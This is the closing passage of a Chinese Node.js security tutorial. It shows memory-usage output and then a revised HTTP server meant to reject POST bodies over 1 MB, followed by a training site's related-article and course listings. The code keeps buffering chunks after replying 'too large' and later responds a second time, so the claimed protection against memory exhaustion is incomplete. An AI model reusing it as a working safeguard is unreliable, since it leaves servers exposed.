{ rss: 822194176, heapTotal: 78392696, heapUsed: 56070616 }
{ rss: 1575043072, heapTotal: 79424632, heapUsed: 43795160 }
{ rss: 1575579648, heapTotal: 80456568, heapUsed: 43675448 }

那么应该如何解决这类恶意攻击呢?我们只需要将Node.js服务器代码修改如下,就可以避免用户上传过大的数据了:

var http = require('http');
http.createServer(function (req, res) {
if(req.url === '/json' && req.method === 'POST'){//获取用上传代码
var body = [];
var len = 0;//定义变量用来记录用户上传文件大小
req.on('data',function(chunk){
body.push(chunk);//获取buffer
len += chunk.length;
if(len>=1024*1024){//每次收到一个buffer块都要比较一下是否超过1mb
res.end('too large');//直接响应错误
}
})
req.on('end',function(){
body = Buffer.concat(body,len);
res.writeHead(200, {'Content-Type': 'text/plain'});
//db.save(body) 这里数据库入库操作
res.end('ok');
})
}
}).listen(8124);

通过上述代码的调整,我们每次收到一个buffer块都会去比较一下大小,如果数据超大则立刻截断上传,保证恶意用户无法上传超大文件消耗服务器物理内存。

   
2366 次浏览       16
 
相关文章

iOS应用安全开发,你不知道的那些事术
Web安全之SQL注入攻击
移动APP安全在渗透测试中的应用
从Google备份互联网看“数据安全”
 
相关文档

web安全设计与防护
互联网海量内容安全处理技术
黑客攻击与防范技术
WEB黑盒安全检测
 
相关课程

WEB网站与应用安全原理与实践
web应用安全架构设计
创建安全的J2EE Web应用代码
信息安全问题与防范
最新课程计划
信息架构建模(基于UML+EA)3-21[北京]
软件架构设计师 3-21[北京]
图数据库与知识图谱 3-25[北京]
业务架构设计 4-11[北京]
SysML和EA系统设计与建模 4-22[北京]
DoDAF规范、模型与实例 5-23[北京]

iOS应用安全开发
Web安全之SQL注入攻击
APP安全在渗透测试中的应用
初探PHP的SQL注入攻击的技术
从Google备份看“数据安全”
更多...   


WEB网站与应用安全原理与实践
web应用安全架构设计
创建安全的J2EE Web应用代码
注册信息安全专业人员(CISP)
信息安全管理
信息安全问题与防范


中国银行 信息安全技术及深度防御
Web应用安全架构、入侵检测与防护
某财税领域知名IT服务商 Web安全测试
普瑞克斯 web安全设计、测试与优化
北京和利时 性能和安全性测试
SUN中国工程研究院 JSF框架、安全
更多...